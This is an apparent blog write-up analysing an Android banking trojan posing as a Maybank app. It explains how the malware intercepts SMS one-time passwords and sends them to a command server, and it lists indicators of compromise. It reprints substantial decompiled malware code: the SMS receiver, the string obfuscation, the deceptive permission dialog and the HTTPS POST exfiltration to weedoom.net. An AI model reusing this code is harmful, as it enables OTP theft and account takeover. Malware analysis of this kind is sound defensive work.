Technical Analysis of Android Malware - Banking Trojan

Lee Wei Xuan MVP +++

Introduction

During a routine security intelligence exchange with my senior Ann from CyberX, I received a suspicious Android application package (APK) for analysis. The sample, disguised as a legitimate banking application (maybank2u.apk), demonstrated significant malicious capabilities warranting a comprehensive technical investigation.

Malware Sample Discovery


Malware Investigation Report: Android Banking Trojan


First Page

Stay at this page after login with anything

Executive Summary

This technical analysis documents a sophisticated Android banking trojan (maybank2u.apk) designed to intercept and exfiltrate sensitive information from compromised devices. The malware demonstrates advanced capabilities including:

  • SMS Interception: Captures one-time passwords (OTPs) and authentication codes
  • Data Exfiltration: Transmits stolen data to command and control (C2) infrastructure
  • Persistence Mechanisms: Implements auto-start on boot and foreground services to maintain presence
  • Anti-Analysis Techniques: Uses multi-layer obfuscation to evade detection
Risk AssessmentDetails
Severity Level🔴 CRITICAL
Impact VectorFinancial fraud, account takeover, data theft
TargetingBanking applications, financial services users
DistributionPhishing, fake app stores, smishing campaigns

Technical Analysis

1. Malware Identification

AttributeDetails
Package Namemaybank2u
Targeted DataSMS messages, Android ID, device information
C2 Serverhttps://weedoom.net/multipush (HTTPS POST)
ObfuscationLayered (Base64 + custom encoding via b() function)

2. Key Malicious Components

The malware architecture consists of four primary components working in concert:

2.1 MainActivity

  • Primary entry point disguised as a legitimate banking application
  • Initializes malicious services upon launch
  • Requests critical permissions for malicious functionality

2.2 SMS Interceptor (RE Class)

  • Implements BroadcastReceiver for SMS interception
  • Extracts message metadata including:
    • Sender phone number
    • Message body content (targeting OTPs)
    • Precise timestamp
  • Implements offline persistence via SharedPreferences storage

2.3 Data Exfiltration Module (C0044Fe Class)

  • Handles communication with command and control server
  • Implements custom obfuscation algorithms
  • Manages authentication and device identification

2.4 Persistence Mechanism (SE Service)

  • Runs as a foreground service with system notification
  • Ensures continuous operation after device reboot
  • Implements resilience against battery optimization

3. Data Exfiltration Workflow

The malware implements a sophisticated data exfiltration pipeline:

  1. Collection: Intercepts SMS messages via the RE broadcast receiver
  2. Processing: Extracts and parses message content, sender, and timestamp
  3. Obfuscation: Applies custom encoding algorithm (b() function) to evade detection
  4. Transmission: Sends data to C2 server via HTTPS POST requests

HTTP Request Details

Endpoint: https://weedoom.net/multipush

Headers:

1
2
3
Content-Type: application/json
auth: [Obfuscated "Beta" token]
id: [Obfuscated Android device ID]

Payload Structure:

1
2
3
4
5
{
"t": "[obfuscated_timestamp]",
"f": "[obfuscated_sender]",
"m": "[obfuscated_message_body]"
}

4. Indicators of Compromise (IOCs)

The following artifacts can be used to identify infections and for threat hunting:

TypeValueDescription
C2 Domainweedoom.netPrimary exfiltration server
URLshttps://weedoom.net/multipushSMS data exfiltration endpoint
https://weedoom.net/minitInitialization endpoint
Key StringsaHR0cHM6Ly93ZWVkb29tLm5ldA==Base64-encoded C2 domain
PermissionsRECEIVE_SMS, READ_SMS, INTERNETCritical permissions for functionality
Packagem.m.mlMalware package identifier

5. Attack Chain Visualization

The following diagram illustrates the complete attack flow from initial infection to data exfiltration:

Attack Chain Diagram

6. Technical Assessment

This malware represents a sophisticated banking trojan with significant capability to compromise financial transactions:

  • Primary Objective: Intercept authentication messages (OTPs, 2FA codes)
  • Infrastructure: Well-established command and control server (weedoom.net)
  • Persistence: Multiple mechanisms to ensure continued operation
  • Evasion: Multi-layered obfuscation techniques to avoid detection

6.1. Required Android Permissions

The malware requires critical permissions that enable its core functionality:

PermissionPurpose
RECEIVE_SMSInterception of incoming SMS messages
READ_SMSAccess to message content and metadata
INTERNETExfiltration of stolen data
RECEIVE_BOOT_COMPLETEDPersistence after device restart
FOREGROUND_SERVICEMaintain background operation
image

6.2. Core Exfiltration Logic

The primary exfiltration mechanism (C0044Fe.d()) implements sophisticated data transmission:

Key Implementation Steps in d(JSONObject jSONObject, boolean z)

A. Command & Control URL Preparation
1
2
3
4
5
6
// Decode the obfuscated C2 domain
byte[] decode = Base64.decode("aHR0cHM6Ly93ZWVkb29tLm5ldA==", 0); // = "https://weedoom.net"

// Construct the final exfiltration endpoint
String concat = new String(decode, AbstractC0755m7.a).concat("/multipush");
// Final URL: https://weedoom.net/multipush

The malware leverages two distinct C2 endpoints:

  • /multipush: Primary data exfiltration endpoint
  • /minit: Initial communication/configuration endpoint
B. HTTP Request Configuration
1
2
3
4
5
6
// Initialize HTTP request object
Gl gl = new Gl();

// Configure request parameters
gl.m(concat); // Sets target URL
gl.l("POST", AbstractC0597ik.s(z2, jSONObject2)); // Configures POST method with JSON payload

The malware implements standard web communication:

  • Method: POST
  • Content-Type: application/json
C. Authentication Header Implementation
1
2
3
4
5
6
7
8
// Decode authentication token from Base64
byte[] decode3 = Base64.decode("QmV0YQ==", 0); // Decodes to "Beta"

// Apply secondary obfuscation to the authentication token
String b = b(new String(decode3, AbstractC0755m7.a));

// Add the obfuscated authentication token to request header
c0236ai.a("auth", b); // Header: auth: [obfuscated Beta]
D. Device Identification Mechanism
1
2
3
4
5
6
7
8
// Retrieve unique Android device identifier
String android_id = Settings.Secure.getString(contentResolver, "android_id");

// Apply obfuscation to device identifier
String b2 = b(android_id);

// Add obfuscated device ID to request header
c0236ai2.a("id", b2); // Header: id: [obfuscated Android ID]

6.3. SMS Interception Implementation

A. Permission Validation and Broadcast Monitoring

1
2
3
4
5
6
7
// Verify required permissions and validate broadcast intent
if (AbstractC0737lq.s(context, "android.permission.RECEIVE_SMS") == 0
&& AbstractC0737lq.s(context, "android.permission.READ_SMS") == 0
&& AbstractC0641jk.o(intent.getAction(), "android.provider.Telephony.SMS_RECEIVED"))
{
// Proceed with SMS interception
}

The malware implements multiple validation checks:

  • Permission Check: Verifies both RECEIVE_SMS and READ_SMS permissions
  • Intent Filtering: Only processes android.provider.Telephony.SMS_RECEIVED broadcasts

B. Message Extraction Mechanism

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// Extract all SMS messages from the broadcast intent
SmsMessage[] messagesFromIntent = Telephony.Sms.Intents.getMessagesFromIntent(intent);

// For each message, extract critical components
for (SmsMessage smsMessage : messagesFromIntent) {
// Extract timestamp
String valueOf = String.valueOf(smsMessage.getTimestampMillis());

// Extract sender phone number
String originatingAddress = smsMessage.getOriginatingAddress();

// Extract message content
String messageBody = smsMessage.getMessageBody();

// Process extracted data...
}

C. Data Obfuscation Implementation

1
2
3
4
5
6
7
8
// Apply obfuscation to timestamp
String b = C0044Fe.b(str);

// Apply obfuscation to sender
String b2 = C0044Fe.b(str2);

// Apply obfuscation to message content
String b3 = C0044Fe.b(str3);

The malware uses a proprietary obfuscation function (b()) to protect exfiltrated data from network inspection and detection systems.

6.4. Data Storage & Exfiltration Mechanisms

A. Offline Data Storage Implementation

1
2
3
4
5
6
7
8
9
10
11
12
// Initialize SharedPreferences for persistent storage
SharedPreferences sharedPreferences = context.getSharedPreferences("db", 0);

// Retrieve existing stored data or create new storage
Set<String> stringSet = sharedPreferences.getStringSet("data", new HashSet());

// Prepare new data for storage
HashSet<String> hashSet2 = new HashSet<>(stringSet);
hashSet2.add(jsonData.toString());

// Commit updated data to persistent storage
sharedPreferences.edit().putStringSet("data", hashSet2).apply();

The malware implements resilient offline storage using Android’s SharedPreferences API:

  • Storage Key: "data"
  • Storage Mode: Private (mode 0)
  • Data Format: JSON objects in a HashSet

JSON Storage Structure:

1
2
3
4
5
{
"t": "[timestamp]",
"f": "[sender]",
"m": "[message]"
}

B. Online Exfiltration Implementation

1
2
3
4
5
6
7
8
9
10
// Check for network connectivity
if (z) { // If internet connectivity available
// Construct JSON payload with obfuscated data
JSONObject payload = new JSONObject("{ \"t\": \"" + b + "\",
\"f\": \"" + b2 + "\",
\"m\": \"" + b3 + "\" }");

// Initialize exfiltration module and transmit data
new C0044Fe(context, 1).d(payload, false);
}

The malware prioritizes immediate exfiltration when online, sending data with:

  • Authentication: Obfuscated "Beta" token
  • Device Identification: Obfuscated Android ID
  • Transport: HTTPS POST to weedoom.net/multipush

C. Network Connectivity Verification

1
2
3
4
5
6
7
8
9
10
11
12
13
// Get system connectivity service
ConnectivityManager connectivityManager = (ConnectivityManager) systemService;

// Check active network capabilities
NetworkCapabilities networkCapabilities = connectivityManager.getNetworkCapabilities(activeNetwork);

// Verify available transport types
if (!networkCapabilities.hasTransport(NetworkCapabilities.TRANSPORT_WIFI) && // WiFi (1)
!networkCapabilities.hasTransport(NetworkCapabilities.TRANSPORT_CELLULAR) && // Cellular (0)
!networkCapabilities.hasTransport(NetworkCapabilities.TRANSPORT_VPN)) { // VPN (3)

z = false; // Flag as offline - no internet connectivity
}

The malware implements comprehensive network validation by checking multiple transport types:

  • WiFi: NetworkCapabilities.TRANSPORT_WIFI (1)
  • Cellular: NetworkCapabilities.TRANSPORT_CELLULAR (0)
  • VPN: NetworkCapabilities.TRANSPORT_VPN (3)

7. Core Functionality Summary

ComponentImplementationPurpose
Permission ValidationAbstractC0737lq.s(context, "android.permission.RECEIVE_SMS") == 0Verify required system access
SMS Data ExtractionTelephony.Sms.Intents.getMessagesFromIntent(intent)Capture incoming message content
Data ObfuscationC0044Fe.b(str)Encrypt/encode sensitive data
Offline StoragesharedPreferences.edit().putStringSet("data", hashSet2).apply()Cache data when network unavailable
Network Exfiltrationnew C0044Fe(context, 1).d(new JSONObject(...), false)Transmit data to command & control server

8. Conclusion & Recommendations

This analysis confirms the presence of a sophisticated banking trojan targeting financial applications. The malware demonstrates advanced capabilities for SMS interception and data exfiltration with resilient operation even in adverse network conditions.

Security Recommendations:

  1. Immediate Response:

    • Factory reset affected devices
    • Change passwords for all financial accounts
    • Enable additional security measures for banking applications
  2. Detection & Prevention:

    • Monitor network traffic for connections to weedoom.net
    • Implement SMS filtering/monitoring for sensitive accounts
    • Deploy mobile threat defense solutions in corporate environments
  3. User Education:

    • Install applications only from official app stores
    • Verify app permissions before installation
    • Enable Google Play Protect on Android devices

9. Additional Technical Appendix

Technical Appendix: Decompiled Code Analysis

This document provides a detailed technical analysis of the decompiled code components from the malicious Android banking trojan (maybank2u.apk). The analysis reveals sophisticated mechanisms for SMS interception, data obfuscation, and C2 communication.

1. Main Entry Point (MainActivity.java)

The MainActivity class serves as the primary entry point for the malware, implementing several key initialization routines:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
package m.m.ml;
import android.app.AlertDialog;
import android.content.Intent;
import android.content.res.Resources;
import android.os.Build;
import android.os.Bundle;
import android.os.Parcelable;
import android.view.View;
import android.view.Window;
import androidx.activity.ComponentActivity;
import defpackage.A0;
import defpackage.AbstractC0137Rb;
import defpackage.AbstractC0641jk;
import defpackage.AbstractC0680ke;
import defpackage.Am;
import defpackage.An;
import defpackage.Bn;
import defpackage.C0570i0;
import defpackage.C0574i4;
import defpackage.C0683kh;
import defpackage.C0808nF;
import defpackage.C1298yB;
import defpackage.C1332z0;
import defpackage.Dm;
import defpackage.Dw;
import defpackage.Hm;
import defpackage.L8;
import defpackage.N8;
import defpackage.O8;
import defpackage.RF;
import defpackage.T8;
import defpackage.X9;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.LinkedHashMap;
import java.util.Locale;
import java.util.NoSuchElementException;
import java.util.Objects;

/* Decompiled from classes.dex */
public final class MainActivity extends ComponentActivity {
public static final /* synthetic */ int w = 0;

@Override
public final void onCreate(Bundle bundle) {
AbstractC0137Rb abstractC0137Rb;
int hashCode;
int hashCode2;
int i = 0;
int i2 = AbstractC0680ke.a;
Dw dw = Dw.I;
C1298yB c1298yB = new C1298yB(0, 0, dw);
C1298yB c1298yB2 = new C1298yB(AbstractC0680ke.a, AbstractC0680ke.b, dw);
View decorView = getWindow().getDecorView();
AbstractC0641jk.u(decorView, "window.decorView");
Resources resources = decorView.getResources();
AbstractC0641jk.u(resources, "view.resources");
boolean booleanValue = ((Boolean) dw.j(resources)).booleanValue();
Resources resources2 = decorView.getResources();
AbstractC0641jk.u(resources2, "view.resources");
boolean booleanValue2 = ((Boolean) dw.j(resources2)).booleanValue();
int i3 = Build.VERSION.SDK_INT;
if (i3 >= 30) {
abstractC0137Rb = new Object();
} else if (i3 >= 29) {
abstractC0137Rb = new Object();
} else if (i3 >= 28) {
abstractC0137Rb = new Object();
} else if (i3 >= 26) {
abstractC0137Rb = new Object();
} else {
abstractC0137Rb = new Object();
}
Window window = getWindow();
AbstractC0641jk.u(window, "window");
abstractC0137Rb.V(c1298yB, c1298yB2, window, decorView, booleanValue, booleanValue2);
Window window2 = getWindow();
AbstractC0641jk.u(window2, "window");
abstractC0137Rb.o(window2);
super.onCreate(bundle);
final C0808nF c0808nF = new C0808nF(5);
final C0570i0 c0570i0 = new C0570i0(this);
final L8 l8 = this.l;
AbstractC0641jk.v(l8, "registry");
final String str = "activity_rq#" + this.k.getAndIncrement();
AbstractC0641jk.v(str, "key");
Hm hm = this.Tj0TVE0Hb5c3ac3785e6455cb344fca21faf691b;
if (hm.c.compareTo(Am.g) < 0) {
LinkedHashMap linkedHashMap = l8.b;
int i4 = 1;
if (((Integer) linkedHashMap.get(str)) == null) {
Iterator it = new X9(new C0683kh(A0.f, new RF(i4, 9))).iterator();
while (it.hasNext()) {
Number number = (Number) it.next();
int intValue = number.intValue();
LinkedHashMap linkedHashMap2 = l8.a;
if (!linkedHashMap2.containsKey(Integer.valueOf(intValue))) {
int intValue2 = number.intValue();
linkedHashMap2.put(Integer.valueOf(intValue2), str);
linkedHashMap.put(str, Integer.valueOf(intValue2));
}
}
throw new NoSuchElementException("Sequence contains no element matching the predicate.");
}
LinkedHashMap linkedHashMap3 = l8.c;
C1332z0 c1332z0 = (C1332z0) linkedHashMap3.get(str);
if (c1332z0 == null) {
c1332z0 = new C1332z0(hm);
}
Dm dm = new Dm() {
// Inner class code omitted for brevity
};
c1332z0.a.a(dm);
c1332z0.b.add(dm);
linkedHashMap3.put(str, c1332z0);
C0574i4 c0574i4 = new C0574i4(l8, str, c0808nF);
if (getSharedPreferences("app_data_launch_f", 0).getBoolean("isFirstRun", true)) {
AlertDialog.Builder builder = new AlertDialog.Builder(this);
String locale = Locale.getDefault().toString();
int hashCode3 = locale.hashCode();
String str2 = "Ruxsatlar talab qilinadi";
if (hashCode3 != -139822896) {
if (hashCode3 != 108860863) {
if (hashCode3 == 111780381) {
}
str2 = "Permissions required";
builder.setTitle(str2);
String locale2 = Locale.getDefault().toString();
hashCode = locale2.hashCode();
String str3 = "Ilova ishlashi uchun telefonning asosiy funksiyalariga kirish tinglanadi.";
if (hashCode != -139822896) {
if (hashCode != 108860863) {
if (hashCode == 111780381) {
}
str3 = "For the application to work, access to the main functions of the phone is required.";
builder.setMessage(str3);
String locale3 = Locale.getDefault().toString();
hashCode2 = locale3.hashCode();
String str4 = "Ruxsat berish";
if (hashCode2 != -139822896) {
if (hashCode2 != 108860863) {
if (hashCode2 == 111780381) {
}
str4 = "Allow";
builder.setPositiveButton(str4, new An(i, c0574i4));
builder.show();
N8.a(this, T8.Tj0TVE0Hb5c3ac3785e6455cb344fca21faf691b);
} else {
if (locale3.equals("ru_RU")) {
str4 = "Разрешить";
builder.setPositiveButton(str4, new An(i, c0574i4));
builder.show();
N8.a(this, T8.Tj0TVE0Hb5c3ac3785e6455cb344fca21faf691b);
}
str4 = "Allow";
builder.setPositiveButton(str4, new An(i, c0574i4));
builder.show();
N8.a(this, T8.Tj0TVE0Hb5c3ac3785e6455cb344fca21faf691b);
}
}
} else {
if (locale2.equals("ru_RU")) {
str3 = "Для работы приложения трубуется доступ к основным функциям телефона.";
builder.setMessage(str3);
String locale32 = Locale.getDefault().toString();
hashCode2 = locale32.hashCode();
String str42 = "Ruxsat berish";
if (hashCode2 != -139822896) {
}
}
str3 = "For the application to work, access to the main functions of the phone is required.";
builder.setMessage(str3);
String locale322 = Locale.getDefault().toString();
hashCode2 = locale322.hashCode();
String str422 = "Ruxsat berish";
if (hashCode2 != -139822896) {
}
}
}
} else {
if (locale.equals("ru_RU")) {
str2 = "Необходимы разрешения";
builder.setTitle(str2);
String locale22 = Locale.getDefault().toString();
hashCode = locale22.hashCode();
String str32 = "Ilova ishlashi uchun telefonning asosiy funksiyalariga kirish tinglanadi.";
if (hashCode != -139822896) {
}
}
str2 = "Permissions required";
builder.setTitle(str2);
String locale222 = Locale.getDefault().toString();
hashCode = locale222.hashCode();
String str322 = "Ilova ishlashi uchun telefonning asosiy funksiyalariga kirish tinglanadi.";
if (hashCode != -139822896) {
}
}
}
} else {
N8.a(this, new O8(-425911099, new Bn(this, i), true));
}
startService(new Intent(this, (Class<?>) MgRKn55kcebb482e4b514772964e31012d0b1157.class));
return;
}
throw new IllegalStateException(("LifecycleOwner " + this + " is attempting to register while current state is " + hm.c + ". LifecycleOwners must call register before they are STARTED.").toString());
}
}

Key Observations:

  • Deceptive Permission Request: The malware presents a localized dialog to trick users into granting sensitive permissions, adapting to the device’s language settings
  • Multi-language Support: Implements Russian and English localization to target a wider audience
  • Persistence Mechanism: Starts a background service (MgRKn55kcebb482e4b514772964e31012d0b1157.class) for continuous operation
  • Runtime Permissions: Uses modern Android permission request mechanisms to access sensitive data

2. SMS Interception Component (RE.java)

The RE class extends BroadcastReceiver to implement the core SMS interception functionality:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public final class RE extends BroadcastReceiver {
@Override
public final void onReceive(Context context, Intent intent) {
// Permission validation
if (AbstractC0737lq.s(context, "android.permission.RECEIVE_SMS") == 0 &&
AbstractC0737lq.s(context, "android.permission.READ_SMS") == 0 &&
AbstractC0641jk.o(intent.getAction(), "android.provider.Telephony.SMS_RECEIVED")) {

// Extract SMS content
SmsMessage[] messagesFromIntent = Telephony.Sms.Intents.getMessagesFromIntent(intent);

// Process each message in the broadcast
for (SmsMessage smsMessage : messagesFromIntent) {
String valueOf = String.valueOf(smsMessage.getTimestampMillis());
String originatingAddress = smsMessage.getOriginatingAddress();
String messageBody = smsMessage.getMessageBody();
// [...processing code...]
}

// Obfuscate the extracted data
String b = C0044Fe.b(str); // Timestamp
String b2 = C0044Fe.b(str2); // Sender
String b3 = C0044Fe.b(str3); // Message content

// Network connectivity check
// [...connectivity check code...]

if (z) { // If online
// Exfiltrate data immediately
new C0044Fe(context, 1).d(new JSONObject("{ \"t\": \"" + b + "\", \"f\": \"" + b2 + "\", \"m\": \"" + b3 + "\" }"), false);

// Also attempt to send any cached offline data
// [...cached data handling...]
} else {
// Store data locally for later exfiltration
HashSet hashSet2 = new HashSet(list);
hashSet2.add(jSONObject);
sharedPreferences.edit().putStringSet("data", hashSet2).apply();
}
}
}
}

Key Observations:

  • Event Targeting: The malware specifically targets "android.provider.Telephony.SMS_RECEIVED" broadcasts
  • Comprehensive Data Collection: Extracts timestamp, sender, and full message content from each SMS
  • Resilient Operation: Implements offline storage when network connectivity is unavailable
  • Smart Exfiltration: Attempts to send previously stored data when connectivity is restored

3. Data Exfiltration Engine (C0044Fe.java)

The C0044Fe class implements sophisticated data obfuscation and exfiltration capabilities:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
public final class C0044Fe implements InterfaceC0004Ae {
public final Context a;

// [...initialization code...]

// Custom obfuscation algorithm
public static String b(String str) {
AbstractC0641jk.v(str, "input");
byte[] bytes = str.getBytes(AbstractC0755m7.a);
String encodeToString = Base64.encodeToString(bytes, 2);

// Character substitution cipher implementation
StringBuilder sb = new StringBuilder();
int length = encodeToString.length();
for (int i4 = 0; i4 < length; i4++) {
char charAt = encodeToString.charAt(i4);
// Complex character transposition logic
// [...character manipulation code...]
sb.append(charAt);
}
return sb.toString();
}

// Network connectivity check
public boolean c() {
// [...connectivity code...]
}

// Data transmission to C2
public void d(JSONObject jSONObject, boolean z) {
String concat;

// Determine target endpoint based on operation type
if (z) {
byte[] decode = Base64.decode("aHR0cHM6Ly93ZWVkb29tLm5ldA==", 0);
concat = new String(decode, AbstractC0755m7.a).concat("/minit");
} else {
byte[] decode2 = Base64.decode("aHR0cHM6Ly93ZWVkb29tLm5ldA==", 0);
concat = new String(decode2, AbstractC0755m7.a).concat("/multipush");
}

try {
// Prepare HTTP request
Gl gl = new Gl();
gl.m(concat);
gl.l("POST", AbstractC0597ik.s(z2, jSONObject2));

// Add authentication token
byte[] decode3 = Base64.decode("QmV0YQ==", 0);
String b = b(new String(decode3, AbstractC0755m7.a));
c0236ai.a("auth", b);

// Add device identifier
String string = Settings.Secure.getString(this.a.getContentResolver(), "android_id");
String b2 = b(string);
c0236ai2.a("id", b2);

// Execute request
new C0563hu(xp, gl.e()).e(new Yw(11));
} catch (Exception unused) {
// Silent error handling
}
}
}

Key Observations:

  • Multi-layer Obfuscation: Implements Base64 encoding followed by a custom character substitution cipher
  • Embedded C2: Contains hardcoded Base64-encoded C2 domain (aHR0cHM6Ly93ZWVkb29tLm5ldA== = https://weedoom.net)
  • Dual Endpoint Strategy: Uses different endpoints for data exfiltration (/multipush) and initialization (/minit)
  • Device Fingerprinting: Transmits unique Android device identifier with each request
  • Silent Failure: Implements empty exception handler to prevent error notifications

4. Obfuscation Analysis

The malware employs a sophisticated custom character substitution cipher in the b() method:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
public static String b(String str) {
// [...initial Base64 encoding...]

StringBuilder sb = new StringBuilder();
int length = encodeToString.length();
for (int i4 = 0; i4 < length; i4++) {
char charAt = encodeToString.charAt(i4);

// Lowercase Latin character transformation
if (Character.isLowerCase(charAt)) {
i2 = 97;
if ('a' <= charAt && charAt < '{') {
i3 = (charAt - 'Y') % 26;
i = i3 + i2;
charAt = (char) i;
sb.append(charAt);
}
}

// Cyrillic character transformation
if (Character.isLowerCase(charAt) && 1072 <= charAt && charAt < 1104) {
i = ((charAt - 1064) % 32) + 1072;
} else {
// Uppercase Latin character transformation
if (Character.isUpperCase(charAt)) {
i2 = 65;
if ('A' <= charAt && charAt < '[') {
i3 = (charAt - '9') % 26;
i = i3 + i2;
}
}

// Uppercase Cyrillic character transformation
if (Character.isUpperCase(charAt)) {
i2 = 1040;
if (1040 <= charAt && charAt < 1072) {
i3 = (charAt - 1032) % 32;
i = i3 + i2;
}
}

// Numeric character transformation
if (Character.isDigit(charAt)) {
i = ((charAt - '(') % 10) + 48;
} else {
sb.append(charAt);
}
}

charAt = (char) i;
sb.append(charAt);
}

return sb.toString();
}

Key Observations:

  • Multi-alphabet Support: The cipher handles Latin, Cyrillic, and numeric characters differently
  • Character Set Segregation: Different transformation algorithms for lowercase, uppercase, and digit characters
  • Modular Arithmetic: Uses modulo operations to ensure character transformations remain within valid ranges
  • Preservation of Special Characters: Non-alphanumeric characters remain unchanged

5. Network Transport Implementation

The malware implements sophisticated network connectivity detection to ensure reliable data exfiltration:

1
2
3
4
5
6
7
8
9
10
11
12
13
// Get system connectivity service
ConnectivityManager connectivityManager = (ConnectivityManager) systemService;

// Check active network capabilities
NetworkCapabilities networkCapabilities = connectivityManager.getNetworkCapabilities(activeNetwork);

// Verify available transport types
if (!networkCapabilities.hasTransport(NetworkCapabilities.TRANSPORT_WIFI) && // WiFi (1)
!networkCapabilities.hasTransport(NetworkCapabilities.TRANSPORT_CELLULAR) && // Cellular (0)
!networkCapabilities.hasTransport(NetworkCapabilities.TRANSPORT_VPN)) { // VPN (3)

z = false; // Flag as offline - no internet connectivity
}

Key Observations:

  • Comprehensive Connectivity Check: Tests multiple network transport types (WiFi, Cellular, VPN)
  • Modern API Usage: Uses NetworkCapabilities rather than deprecated connectivity methods
  • Transport Type Constants: References transport types by numeric constants:
    • WiFi: NetworkCapabilities.TRANSPORT_WIFI (1)
    • Cellular: NetworkCapabilities.TRANSPORT_CELLULAR (0)
    • VPN: NetworkCapabilities.TRANSPORT_VPN (3)

6. Data Storage Schema

The malware implements resilient offline storage using Android’s SharedPreferences:

1
2
3
4
5
6
7
8
9
10
11
12
// Initialize SharedPreferences for persistent storage
SharedPreferences sharedPreferences = context.getSharedPreferences("db", 0);

// Retrieve existing stored data or create new storage
Set<String> stringSet = sharedPreferences.getStringSet("data", new HashSet());

// Prepare new data for storage
HashSet<String> hashSet2 = new HashSet<>(stringSet);
hashSet2.add(jsonData.toString());

// Commit updated data to persistent storage
sharedPreferences.edit().putStringSet("data", hashSet2).apply();

Key Observations:

  • Database Name: Uses generic name "db" to avoid detection
  • Storage Mode: Uses private mode (0) to prevent access by other applications
  • Data Structure: Stores JSON strings in a HashSet under key "data"
  • Asynchronous Storage: Uses apply() rather than commit() for non-blocking storage operations

7. Conclusion

The decompiled code analysis reveals a sophisticated malware implementation with advanced techniques for:

  1. Permission Acquisition: Social engineering via localized dialogs
  2. SMS Interception: Efficient broadcast receiver implementation
  3. Data Obfuscation: Multi-layer encoding with custom cipher
  4. Network Resilience: Online/offline operation with data caching
  5. Device Identification: Unique device fingerprinting for tracking
  6. Anti-Analysis: Heavy obfuscation of strings and control flow

These findings corroborate the assessment that this malware represents a significant threat, specifically targeting financial authentication via SMS interception and implementing robust mechanisms for data exfiltration.

  • Title: Technical Analysis of Android Malware - Banking Trojan
  • Author: Lee Wei Xuan
  • Created at : 2025-05-11 21:19:53
  • Updated at : 2025-05-25 10:50:23
  • Link: https://weixuan0110.github.io/2025/05/11/Analysis-of-Malware-APK/
  • License: This work is licensed under CC BY-NC-SA 4.0.